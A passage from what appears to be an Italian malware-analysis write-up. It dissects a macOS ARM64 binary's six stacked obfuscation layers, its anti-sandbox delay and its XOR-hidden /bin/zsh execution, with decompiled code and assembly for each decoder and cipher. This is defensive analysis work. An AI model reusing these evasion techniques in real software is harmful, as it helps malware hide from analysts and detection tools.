here\n","asm",[554,1146,1147,1152,1157,1162,1167,1173,1179,1185,1191,1197],{"__ignoreMap":584},[621,1148,1149],{"class":623,"line":624},[621,1150,1151],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[621,1153,1154],{"class":623,"line":630},[621,1155,1156],{},"10009f41c:  mov w0,#0x37e\n",[621,1158,1159],{"class":623,"line":848},[621,1160,1161],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[621,1163,1164],{"class":623,"line":865},[621,1165,1166],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[621,1168,1170],{"class":623,"line":1169},5,[621,1171,1172],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[621,1174,1176],{"class":623,"line":1175},6,[621,1177,1178],{},"10009f42c:  mov w8,w25               ; current state index\n",[621,1180,1182],{"class":623,"line":1181},7,[621,1183,1184],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[621,1186,1188],{"class":623,"line":1187},8,[621,1189,1190],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[621,1192,1194],{"class":623,"line":1193},9,[621,1195,1196],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[621,1198,1200],{"class":623,"line":1199},10,[621,1201,1202],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[561,1204,1206],{"id":1205},"sei-livelli-di-offuscamento-sovrapposti","Sei livelli di offuscamento sovrapposti",[527,1208,567],{},[527,1210,1211,1212,1215],{},"La binary utilizza sei diversi livelli di offuscamento, sovrapposti e concatenati, in modo che l'output di ciascun livello venga passato in ingresso al successivo. Ogni payload, ogni stringa, ogni costante interna è codificata. Nel segmento ",[554,1213,1214],{},"__const"," non compare nulla di significativo in chiaro. Segue una scomposizione completa livello per livello, verificata direttamente in Ghidra fino alle singole istruzioni ARM64. Ognuna delle tecniche impiegate è nota di per sé; è la loro applicazione concatenata su più stadi ad aver creato un flusso di esecuzione fortemente interdipendente, che ha reso molto più difficile sia l'analisi statica sia quella dinamica.",[537,1217],{},[705,1219,1221],{"id":1220},"layer-1-codifica-compile-time-a-triplette","Layer 1: codifica compile-time a triplette",[527,1223,711],{},[527,1225,1226,1227,1230],{},"Nessuna stringa nella binary è memorizzata come sequenza di caratteri, ma come sequenza di triplette aritmetiche da 12 byte. Ogni tripletta ",[554,1228,1229],{},"(a, b, shift)"," codifica esattamente un carattere di output. Lo schema di codifica viene applicato in fase di compilazione, per cui nessuna stringa esiste mai come testo in chiaro nella binary, nemmeno temporaneamente al caricamento.",[527,1232,1233,1234,1237,1238,1241,1242,1245,1246,1237,1249,1252,1253,1256],{},"Due funzioni di decoder separate gestiscono dimensioni diverse di stringa. ",[554,1235,1236],{},"FUN_100087c08"," a ",[554,1239,1240],{},"0x100087c08"," decodifica stringhe da 60 caratteri (720 byte di dati di input da ",[554,1243,1244],{},"DAT_1006292cc","). ",[554,1247,1248],{},"FUN_10007ad80",[554,1250,1251],{},"0x10007ad80"," decodifica stringhe da 56 caratteri (672 byte da ",[554,1254,1255],{},"DAT_10049708c","). Entrambe usano lo stesso algoritmo.",[572,1258,1259],{"style":574},[1043,1260,1261,1264,1266,1269,1059,1271,1064,1273,1276,1277,1279,1280,1282,1283,1285,1286,1289,1290],{},[621,1262,1263],{"style":1047},"// FUN_100087c08 @ 0x100087c08",[1050,1265],{},[621,1267,1268],{"style":1047},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[621,1270,1058],{"style":1057},[621,1272,1236],{"style":1062},[621,1274,1275],{"style":1057},"long"," *param_1)\n{\n  ",[621,1278,1275],{"style":1057}," *plVar1;\n  ",[621,1281,1058],{"style":1057}," *pvVar2;\n  ",[621,1284,1275],{"style":1057}," lVar3;\n  ",[621,1287,1288],{"style":1057},"uint"," *puVar4;\n",[527,1291,1292,1293,1064,1296,1299,1300,1305,1308,1309,1299,1311,1314,1316,1319,1320,1323,1324,1299,1327,1330,1331,1333,1334,1097,1336,1338,1339,1342,1343,1346,1347,1349,1350,1353,1354,1357,1358,1097,1361,1363,1364,1367,1368,1371,1373,1376,1377,1097,1379,1381,1382,1384,1385,1387,1388,1393,1394,1397,1398,1403,1404,1407,1408,1410,1411,1416,1417,1419,1420,1422,1423,1426,1427,1430,1431,1299,1433,1436,1438,1441,1442,1113],{},"pvVar2 = ",[621,1294,1295],{"style":1062},"operator_new",[621,1297,1298],{"style":1083},"0x2d0","); ",[621,1301,1302,1303],{"style":1047},"// allocate 720 bytes (60 triplets × 12)",[1050,1304],{},[621,1306,1307],{"style":1062},"_memcpy","(pvVar2, &DAT_1006292cc, ",[621,1310,1298],{"style":1083},[621,1312,1313],{"style":1047},"// copy encoded triplets from __const",[1050,1315],{},[621,1317,1318],{"style":1062},"FUN_1000a0840","(param_1, ",[621,1321,1322],{"style":1083},"0x3c",", ",[621,1325,1326],{"style":1083},"0",[621,1328,1329],{"style":1047},"// init 60-char output buffer","\nlVar3 = ",[621,1332,1326],{"style":1083},";\npuVar4 = (",[621,1335,1288],{"style":1057},[621,1337,1275],{"style":1057},")pvVar2 + ",[621,1340,1341],{"style":1083},"8",");\n",[621,1344,1345],{"style":1057},"do"," {\nplVar1 = (",[621,1348,1275],{"style":1057}," _)_param_1;\n",[621,1351,1352],{"style":1057},"if"," (-",[621,1355,1356],{"style":1083},"1"," \u003C _(",[621,1359,1360],{"style":1057},"char",[621,1362,1275],{"style":1057},")param_1 + ",[621,1365,1366],{"style":1083},"0x17",")) {\nplVar1 = param_1;\n}\n",[621,1369,1370],{"style":1047},"// THE DECODE FORMULA, one character per triplet:",[1050,1372],{},[621,1374,1375],{"style":1047},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[621,1378,1360],{"style":1057},[621,1380,1275],{"style":1057},")plVar1 + lVar3) =\n(",[621,1383,1360],{"style":1057},")((",[621,1386,1070],{"style":1057},")(puVar4",[621,1389,1390,1391],{},"-",[621,1392,1356],{"style":1083}," * ",[621,1395,1396],{"style":1083},"3"," ^ puVar4",[621,1399,1390,1400],{},[621,1401,1402],{"style":1083},"2",") >> (*puVar4 & ",[621,1405,1406],{"style":1083},"0x1f",")) - (",[621,1409,1360],{"style":1057},")puVar4",[621,1412,1413],{},[621,1414,1415],{"style":1083},"-1",";\nlVar3 = lVar3 + ",[621,1418,1356],{"style":1083},";\npuVar4 = puVar4 + ",[621,1421,1396],{"style":1083},"; ",[621,1424,1425],{"style":1047},"// advance 12 bytes — next triplet","\n} ",[621,1428,1429],{"style":1057},"while"," (lVar3 != ",[621,1432,1322],{"style":1083},[621,1434,1435],{"style":1047},"// loop exactly 60 times",[1050,1437],{},[621,1439,1440],{"style":1062},"operator_delete","(pvVar2);\n",[621,1443,1112],{"style":1057},[527,1445,1446],{},"L'assembly ARM64 corrispondente, dove ogni istruzione mappa direttamente un'operazione della formula:",[572,1448,1449],{"style":574},[576,1450,1453],{"className":1451,"code":1452,"language":581},[579],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[554,1454,1452],{"__ignoreMap":584},[527,1456,1457,1458,1461,1462,1465],{},"Da notare: la moltiplicazione ",[554,1459,1460],{},"b × 3"," è implementata come ",[554,1463,1464],{},"add w12, w11, w11, LSL #1",", uno shift-and-add che evita del tutto un'istruzione di moltiplicazione. È una classica ottimizzazione del compilatore, che nello stesso tempo rende il codice più difficile da individuare tramite signature matching.",[527,1467,1468],{},"La formula di decodifica completa:",[572,1470,1471],{"style":574},[576,1472,1475],{"className":1473,"code":1474,"language":581},[579],"char = ASR( (b × 3) XOR a, shift ) − b\n",[554,1476,1474],{"__ignoreMap":584},[527,1478,1479,1480,1483,1484,1487,1488,1491],{},"L'",[554,1481,1482],{},"ASR"," (Arithmetic Shift Right) è determinante: preserva il bit di segno. Se il risultato intermedio di ",[554,1485,1486],{},"(b×3) XOR a"," è negativo, cosa che capita spesso, uno shift logico produrrebbe un risultato completamente diverso. È voluto: chi reimplementa la formula in un linguaggio di alto livello con ",[554,1489,1490],{},">>"," ottiene silenziosamente output errati se non tiene esplicitamente conto dell'aritmetica con segno.",[527,1493,1494,1495,1497,1498,1500,1501,1504],{},"La variante da 56 caratteri ",[554,1496,1248],{}," è strutturalmente identica, opera su ",[554,1499,1255],{}," con un limite di loop pari a ",[554,1502,1503],{},"0x38",". Entrambe le funzioni sono state confermate in live in Ghidra durante questa analisi.",[537,1506],{},[705,1508,1510],{"id":1509},"layer-2-codifica-hex-string","Layer 2: codifica hex string",[527,1512,711],{},[527,1514,1515,1516,1519,1520,1237,1523,1526,1527,1530],{},"I byte grezzi generati dal Layer 1 sono a loro volta caratteri ASCII esadecimali, non dati binari. L'output di un triplet decode di Layer 1 è una stringa di coppie hex: ",[554,1517,1518],{},"32694e5462...",". Lo conferma la funzione di decoder ",[554,1521,1522],{},"FUN_100000dc0",[554,1524,1525],{},"0x100000dc0",", che implementa un hex decode tramite una lookup table a ",[554,1528,1529],{},"DAT_1007bb591",".",[527,1532,1533,1534,1390,1537,1323,1540,1390,1543,1323,1546,1390,1549,1552],{},"Il decompile Ghidra mostra uno switch che mappa ogni carattere hex (",[554,1535,1536],{},"0x30",[554,1538,1539],{},"0x39",[554,1541,1542],{},"0x41",[554,1544,1545],{},"0x46",[554,1547,1548],{},"0x61",[554,1550,1551],{},"0x66",") sul valore del suo nibble e assembla i byte di output due caratteri alla volta:",[572,1554,1555],{"style":574},[1043,1556,1557,1560,1563,1566,1567,1570,1571,1573,1574,1059,1577,1579,1580,1583,1584,939,1587,1059,1589,1592,1593,1422,1596,1598,1599,939,1602,1059,1604,1592,1607,1422,1610,1598,1612,939,1615,939,1618,1059,1620,1579,1622,1059,1624,1592,1626,1422,1629,1631,1632,939,1635,1059,1637,1579,1640,1059,1642,1592,1645,1422,1648,1631,1650,939,1653,1059,1655,1579,1658,1059,1660,1663,1664,1422,1667,1631,1669,939,1672,1059,1674,1579,1677,1059,1679,1682,1683,1422,1686,1631,1688,939,1691,1059,1693,1579,1696,1059,1698,1592,1701,1422,1704,1631,1706,939,1709,1059,1711,1579,1713,1059,1715,1592,1717,1422,1720,1631,1722,1725,1726,1729,1730,1570,1733,1735,1736,1738,1739,1742],{},[621,1558,1559],{"style":1047},"// FUN_100000dc0 @ 0x100000dc0",[621,1561,1562],{"style":1047},"// Hex decoder, processes input two characters per output byte",[621,1564,1565],{"style":1057},"switch","(*(",[621,1568,1569],{"style":1057},"undefined1"," *)((",[621,1572,1275],{"style":1057},")plVar2 + lVar7)) {\n  ",[621,1575,1576],{"style":1057},"case",[621,1578,1536],{"style":1083},": ",[621,1581,1582],{"style":1057},"break",";                  ",[621,1585,1586],{"style":1047},"// '0' → 0x00",[621,1588,1576],{"style":1057},[621,1590,1591],{"style":1083},"0x31",": bVar9 = ",[621,1594,1595],{"style":1083},"0x10",[621,1597,1582],{"style":1057},";   ",[621,1600,1601],{"style":1047},"// '1' → 0x10",[621,1603,1576],{"style":1057},[621,1605,1606],{"style":1083},"0x32",[621,1608,1609],{"style":1083},"0x20",[621,1611,1582],{"style":1057},[621,1613,1614],{"style":1047},"// '2' → 0x20",[621,1616,1617],{"style":1047},"// ... '3' through '9' ...",[621,1619,1576],{"style":1057},[621,1621,1542],{"style":1083},[621,1623,1576],{"style":1057},[621,1625,1548],{"style":1083},[621,1627,1628],{"style":1083},"0xa0",[621,1630,1582],{"style":1057},";  ",[621,1633,1634],{"style":1047},"// 'A'/'a' → 0xa0",[621,1636,1576],{"style":1057},[621,1638,1639],{"style":1083},"0x42",[621,1641,1576],{"style":1057},[621,1643,1644],{"style":1083},"0x62",[621,1646,1647],{"style":1083},"0xb0",[621,1649,1582],{"style":1057},[621,1651,1652],{"style":1047},"// 'B'/'b' → 0xb0",[621,1654,1576],{"style":1057},[621,1656,1657],{"style":1083},"0x43",[621,1659,1576],{"style":1057},[621,1661,1662],{"style":1083},"99",":   bVar9 = ",[621,1665,1666],{"style":1083},"0xc0",[621,1668,1582],{"style":1057},[621,1670,1671],{"style":1047},"// 'C'/'c' → 0xc0",[621,1673,1576],{"style":1057},[621,1675,1676],{"style":1083},"0x44",[621,1678,1576],{"style":1057},[621,1680,1681],{"style":1083},"100",":  bVar9 = ",[621,1684,1685],{"style":1083},"0xd0",[621,1687,1582],{"style":1057},[621,1689,1690],{"style":1047},"// 'D'/'d' → 0xd0",[621,1692,1576],{"style":1057},[621,1694,1695],{"style":1083},"0x45",[621,1697,1576],{"style":1057},[621,1699,1700],{"style":1083},"0x65",[621,1702,1703],{"style":1083},"0xe0",[621,1705,1582],{"style":1057},[621,1707,1708],{"style":1047},"// 'E'/'e' → 0xe0",[621,1710,1576],{"style":1057},[621,1712,1545],{"style":1083},[621,1714,1576],{"style":1057},[621,1716,1551],{"style":1083},[621,1718,1719],{"style":1083},"0xf0",[621,1721,1582],{"style":1057},[621,1723,1724],{"style":1047},"// 'F'/'f' → 0xf0","\n}\n",[621,1727,1728],{"style":1047},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[621,1731,1732],{"style":1057},"byte",[621,1734,1275],{"style":1057},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[621,1737,1100],{"style":1057},")uVar4 & ",[621,1740,1741],{"style":1083},"0xff","] | bVar9;\n",[527,1744,1745],{},"L'assembly ARM64 pilota tutto questo con una tabella secondaria di branch calcolati, implementando di fatto una jump table da 55 voci per lo switch:",[572,1747,1748],{"style":574},[576,1749,1752],{"className":1750,"code":1751,"language":581},[579],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[554,1753,1751],{"__ignoreMap":584},[527,1755,1756],{},"Due branch calcolati in una finestra di 24 byte. Gli strumenti di analisi statica non gestiscono questo pattern, perché entrambe le destinazioni del branch sono ignote in fase di analisi.",[527,1758,1759],{},"Una stringa hex lunga 137.208 caratteri, una volta decodificata, dà 68.604 byte, che vengono poi passati al Layer 3.",[537,1761],{},[705,1763,1765],{"id":1764},"layer-3-alfabeto-nibble-personalizzato-a-16-simboli","Layer 3: alfabeto nibble personalizzato a 16 simboli",[527,1767,711],{},[527,1769,1770],{},"I 68.604 byte di output del Layer 2 utilizzano solo 16 valori di byte distinti, presi da due intervalli ASCII non contigui:",[1772,1773,1774,1823],"ul",{},[1775,1776,1777,1780,1781,1323,1784,1323,1787,1323,1790,1323,1793,1323,1796,1323,1799,1323,1802,1323,1804,1323,1807,1323,1810,1323,1813,1323,1816,1323,1818,1323,1820],"li",{},[554,1778,1779],{},"0x20-0x2F",": spazio, ",[554,1782,1783],{},"!",[554,1785,1786],{},"\"",[554,1788,1789],{},"#",[554,1791,1792],{},"$",[554,1794,1795],{},"%",[554,1797,1798],{},"&",[554,1800,1801],{},"'",[554,1803,1064],{},[554,1805,1806],{},")",[554,1808,1809],{},"*",[554,1811,1812],{},"+",[554,1814,1815],{},",",[554,1817,1390],{},[554,1819,1530],{},[554,1821,1822],{},"/",[1775,1824,1825,1579,1828,1323,1831,1323,1834,1323,1837,1323,1840,1323,1843,1323,1846,1849],{},[554,1826,1827],{},"0x78-0x7F",[554,1829,1830],{},"x",[554,1832,1833],{},"y",[554,1835,1836],{},"z",[554,1838,1839],{},"{",[554,1841,1842],{},"|",[554,1844,1845],{},"}",[554,1847,1848],{},"~",", DEL",[527,1851,1852],{},"È una scelta di design voluta. In un hex editor questi byte sembrano spazi, punteggiatura e caratteri ASCII di margine; si confondono nel rumore di quelli che appaiono come metadati o padding. Un analista che scorre un hex dump non contrassegnerà questi intervalli di byte come sospetti e le analisi di entropia standard sottostimano l'entropia effettiva, perché la distribuzione dei byte non appare casuale.",[527,1854,1855,1856,1859,1860,1863,1864,1867,1868,1871],{},"Ogni byte di questo alfabeto codifica un nibble del payload reale. Il mapping alfabeto-nibble viene applicato dalla funzione di encode/decode ",[554,1857,1858],{},"FUN_100000d60",", che abbiamo confermato a ",[554,1861,1862],{},"0x100000d60",". La funzione concatena due sotto-funzioni: ",[554,1865,1866],{},"FUN_100000b50"," crea una mappa indicizzata dei caratteri della stringa di input, e ",[554,1869,1870],{},"FUN_100000c34"," la percorre, consumando 6 bit per passo e accumulando byte di output 8 bit alla volta:",[572,1873,1874],{"style":574},[1043,1875,1876,1879,1880,1882,1883,1885,1886,1888,1889,1892,1893,939,1896,1898,1899,1901,1902,943,1905,1907,1908,1911,1912,1914,1915,943,1918,1920,1921,1924,1925,1928,1929,1931,1932,1935,1936,1938,1939,1570,1942,1944,1945,1947,1948,1950],{},[621,1877,1878],{"style":1047},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[621,1881,1326],{"style":1083},";\n",[621,1884,1345],{"style":1057}," {\n  local_52 = *(",[621,1887,1569],{"style":1057}," *)puVar4;\n  lVar3 = ",[621,1890,1891],{"style":1062},"FUN_1000a078c","(param_3, &local_52);  ",[621,1894,1895],{"style":1047},"// look up nibble value",[621,1897,1352],{"style":1057}," (lVar3 == ",[621,1900,1326],{"style":1083},") {\n    ",[621,1903,1904],{"style":1047},"// character not in alphabet, treat as raw",[621,1906,1891],{"style":1062},"(param_3, &local_51);\n  } ",[621,1909,1910],{"style":1057},"else"," {\n    iVar5 = iVar5 + ",[621,1913,1104],{"style":1083},";           ",[621,1916,1917],{"style":1047},"// accumulate 4 bits",[621,1919,1429],{"style":1057}," (",[621,1922,1923],{"style":1083},"7"," \u003C iVar5) {\n      std::string::",[621,1926,1927],{"style":1062},"push_back","((",[621,1930,1360],{"style":1057},")param_1);  ",[621,1933,1934],{"style":1047},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[621,1937,1341],{"style":1083},";\n    }\n  }\n  puVar4 = (",[621,1940,1941],{"style":1057},"undefined8",[621,1943,1275],{"style":1057},")puVar4 + ",[621,1946,1356],{"style":1083},");\n} ",[621,1949,1429],{"style":1057}," (puVar4 != puVar1);\n",[527,1952,1953],{},"I 34.302 byte che escono da questa fase sono ASCII stampabile al 99,7%. A un primo sguardo veloce, il payload a questo stadio sembra un grosso script shell o un blob di configurazione.",[537,1955],{},[705,1957,1959],{"id":1958},"layer-4-offuscamento-delle-stringhe-a-compile-time","Layer 4: offuscamento delle stringhe a compile-time",[527,1961,711],{},[527,1963,1964],{},"Le stringhe usate internamente vengono offuscate in fase di compilazione con lo stesso schema a triplette del Layer 1 e ricostruite a runtime immediatamente prima dell'uso. In memoria non restano più a lungo del necessario; il buffer viene rilasciato subito dopo il consumo. Nelle sezioni di dati statici della binary, in nessun momento è visibile una stringa decodificata.",[527,1966,1967,1968,1971],{},"La funzione di string hash ",[554,1969,1970],{},"FUN_100000730"," fornisce un livello di offuscamento secondario per i confronti di stringhe. Invece di confrontare direttamente le stringhe, cosa che lascerebbe testo in chiaro in memoria, la binary calcola e confronta hash interi:",[572,1973,1974],{"style":574},[1043,1975,1976,1979,1982,1059,1984,1064,1986,1276,1988,1990,1991,1994,1995,939,1998,939,2001,2004,2005,2007,2008,2010,2011,2013,2014,1631,2017,2020,2021,2023,2024,2026],{},[621,1977,1978],{"style":1047},"// FUN_100000730 @ 0x100000730",[621,1980,1981],{"style":1047},"// FNV-style string hash, avoids plaintext string comparisons",[621,1983,1070],{"style":1057},[621,1985,1970],{"style":1062},[621,1987,1360],{"style":1057},[621,1989,1070],{"style":1057}," iVar4 = ",[621,1992,1993],{"style":1083},"0x19a8",";    ",[621,1996,1997],{"style":1047},"// FNV offset basis (modified)",[621,1999,2000],{"style":1047},"// ...",[621,2002,2003],{"style":1057},"for"," (; uVar3 != ",[621,2006,1326],{"style":1083},"; uVar3 = uVar3 - ",[621,2009,1356],{"style":1083},") {\n    iVar4 = (",[621,2012,1070],{"style":1057},")*pcVar1 + iVar4 * -",[621,2015,2016],{"style":1083},"0x7fb91be3",[621,2018,2019],{"style":1047},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[621,2022,1356],{"style":1083},";\n  }\n  ",[621,2025,1112],{"style":1057}," iVar4;\n}\n",[527,2028,2029],{},"L'assembly ARM64 sostituisce la moltiplicazione con un fused multiply-add:",[572,2031,2032],{"style":574},[576,2033,2036],{"className":2034,"code":2035,"language":581},[579],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[554,2037,2035],{"__ignoreMap":584},[527,2039,2040],{},"Questo significa che anche il confronto tra due stringhe all'interno della binary non produce un branch che un debugger possa intercettare in modo pulito a livello di stringa, ma solo a livello di hash.",[537,2042],{},[705,2044,2046],{"id":2045},"layer-5-doppia-istanza-di-stream-cipher-personalizzata","Layer 5: doppia istanza di stream cipher personalizzata",[527,2048,711],{},[527,2050,2051,2052,2055],{},"Qui l'architettura di offuscamento diventa insolita. Nella binary non gira una, bensì ",[770,2053,2054],{},"due istanze cipher separate",", ciascuna con una lookup table hardcoded diversa e un contatore iniziale diverso. Entrambe usano la stessa struttura algoritmica, ma generano alfabeti di output differenti per parti diverse della pipeline del payload.",[527,2057,2058,1323,2061,1237,2064,2067],{},[770,2059,2060],{},"Istanza A",[554,2062,2063],{},"FUN_10007ab34",[554,2065,2066],{},"0x10007ab34",":",[572,2069,2070],{"style":574},[1043,2071,2072,2075,2076,1882,2079,2081,2082,1570,2084,2086,2087,2089,2090,1570,2092,2094,2095,2097,2098,1570,2100,2102,2103,2105,2106,2109,2110,2112,2113,2115],{},[621,2073,2074],{"style":1047},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[621,2077,2078],{"style":1083},"0x4c",[621,2080,1345],{"style":1057}," {\n  bVar2 = *(",[621,2083,1732],{"style":1057},[621,2085,1275],{"style":1057},")local_e0 +\n          ((",[621,2088,1100],{"style":1057},")(*(",[621,2091,1732],{"style":1057},[621,2093,1275],{"style":1057},")local_c8 + uVar5) ^ uVar6) & ",[621,2096,1741],{"style":1083},"));\n  *(",[621,2099,1732],{"style":1057},[621,2101,1275],{"style":1057},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[621,2104,1070],{"style":1057},")uVar5 + (uVar6 ^ bVar2);  ",[621,2107,2108],{"style":1047},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[621,2111,1356],{"style":1083},";\n} ",[621,2114,1429],{"style":1057}," (uVar7 != uVar5);\n",[527,2117,2118,1323,2121,1237,2124,2067],{},[770,2119,2120],{},"Istanza B",[554,2122,2123],{},"FUN_10007a7e0",[554,2125,2126],{},"0x10007a7e0",[572,2128,2129],{"style":574},[1043,2130,2131,2075,2134,1882,2137,2081,2139,1570,2141,2143,2144,2089,2146,1570,2148,2150,2151,2097,2153,1570,2155,2102,2157,2105,2159,2109,2162,2112,2164,2115],{},[621,2132,2133],{"style":1047},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[621,2135,2136],{"style":1083},"0x9f",[621,2138,1345],{"style":1057},[621,2140,1732],{"style":1057},[621,2142,1275],{"style":1057},")local_c0 +\n          ((",[621,2145,1100],{"style":1057},[621,2147,1732],{"style":1057},[621,2149,1275],{"style":1057},")local_a8 + uVar5) ^ uVar6) & ",[621,2152,1741],{"style":1083},[621,2154,1732],{"style":1057},[621,2156,1275],{"style":1057},[621,2158,1070],{"style":1057},[621,2160,2161],{"style":1047},"// identical counter update formula",[621,2163,1356],{"style":1083},[621,2165,1429],{"style":1057},[527,2167,2168,2169,2171,2172,2174],{},"L'algoritmo è strutturalmente identico, ma il contatore iniziale è diverso (",[554,2170,2078],{}," vs. ",[554,2173,2136],{},") e le lookup table risiedono a indirizzi di memoria diversi. L'istanza A viene invocata dallo stato 11 della macchina a stati per generare l'alfabeto di codifica del primo percorso del payload. L'istanza B viene invocata dallo stato 6 per generare l'alfabeto per il decode del grande payload di shell script.",[527,2176,2177,2178,2181,2182,2185,2186,2189],{},"In termini precisi: si tratta di una ",[770,2179,2180],{},"cifratura a sostituzione con indice dipendente da un contatore",". Ogni byte di output è un lookup su tabella, in cui l'indice è ",[554,2183,2184],{},"(input_byte XOR counter) & 0xFF",". Il contatore si aggiorna dopo ogni byte come ",[554,2187,2188],{},"counter = (i + (counter XOR output)) & 0xFF",", il che significa che ogni byte di output influenza la determinazione del successivo indice di lookup. Ne risulta una catena di dipendenze sull'intera sequenza di output: il byte N non può essere decifrato senza aver decifrato correttamente i byte da 0 a N-1. La decodifica parziale o l'analisi degli errori diventano così molto più complicate.",[527,2191,2192],{},"Nessuna delle due istanze è RC4 standard. Non c'è una fase di inizializzazione della S-box, non c'è alcuna operazione di swap della S-box. Le lookup table sono costanti statiche, incorporate a compile-time.",[537,2194],{},[705,2196,2198],{"id":2197},"layer-6-xor-a-runtime-con-chiave-dipendente-dallexit-code","Layer 6: XOR a runtime con chiave dipendente dall'exit code",[527,2200,711],{},[527,2202,2203,2204,2207],{},"L'ultimo livello, il più impegnativo dal punto di vista analitico, applica una trasformazione XOR in-place al payload di Stage 2. La chiave XOR non è hardcoded, ma viene derivata a runtime dall'exit code della ",[770,2205,2206],{},"prima esecuzione del payload shell",", e in questo modo non è, in linea di principio, determinabile tramite analisi statica. La binary deve essere effettivamente eseguita e il primo shell script deve arrivare fino alla fine, perché la chiave possa esistere.",[527,2209,2210],{},"La sequenza di derivazione della chiave nel dispatcher ARM64 della macchina a stati:",[572,2212,2213],{"style":574},[576,2214,2217],{"className":2215,"code":2216,"language":581},[579],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[554,2218,2216],{"__ignoreMap":584},[527,2220,2221],{},"Il loop XOR che elabora il payload di Stage 2:",[572,2223,2224],{"style":574},[576,2225,2228],{"className":2226,"code":2227,"language":581},[579],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[554,2229,2227],{"__ignoreMap":584},[527,2231,2232,2233,2236,2237,2240,2241,2243],{},"La chiave è un valore a 16 bit, derivato dal byte di exit status del primo payload shell, moltiplicato per ",[554,2234,2235],{},"0x7f0"," e sommato al valore corrente del registro contatore di base ",[554,2238,2239],{},"w26"," della macchina a stati. La costante di moltiplicazione ",[554,2242,2235],{}," fa sì che una differenza di un solo bit nell'exit code produca una chiave completamente diversa. Non c'è alcuna continuità sfruttabile tra valori di chiave adiacenti.",[527,2245,2246],{},"Senza eseguire la binary in un ambiente controllato e senza registrare l'esatto exit code del primo payload shell, il payload di Stage 2 rimane definitivamente opaco all'analisi statica. È stato l'ostacolo più difficile di tutta l'analisi.",[537,2248],{},[561,2250,2252],{"id":2251},"esecuzione-shell-pipe-al-posto-degli-argomenti-e-xor-simd","Esecuzione shell: pipe al posto degli argomenti, e XOR SIMD",[527,2254,567],{},[527,2256,2257,2258,1237,2261,2264],{},"La funzione di esecuzione shell ",[554,2259,2260],{},"FUN_10000091c",[554,2262,2263],{},"0x10000091c"," è la componente architettonicamente più interessante della binary. Qui converge tutto: il payload decodificato, il nome del comando offuscato e un design esplicito di anti-forensica. Ogni scelta progettuale in questa funzione ha uno scopo specifico di evasione.",[705,2266,2268],{"id":2267},"passo-1-il-nome-del-comando-non-compare-mai-in-chiaro","Passo 1: il nome del comando non compare mai in chiaro",[527,2270,711],{},[527,2272,2273,2276,2277,1237,2280,2283,2284,2287],{},[554,2274,2275],{},"/bin/zsh"," non esiste in nessun punto della binary come testo in chiaro. Nella sezione ",[554,2278,2279],{},"__cstring",[554,2281,2282],{},"0x1007bb5c8"," la stringa è memorizzata come byte offuscati ",[554,2285,2286],{},"\\x01LG@\\x01T]F",". La decodifica avviene a runtime tramite una singola operazione XOR, verificabile direttamente nell'assembly ARM64:",[572,2289,2290],{"style":574},[576,2291,2294],{"className":2292,"code":2293,"language":581},[579],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 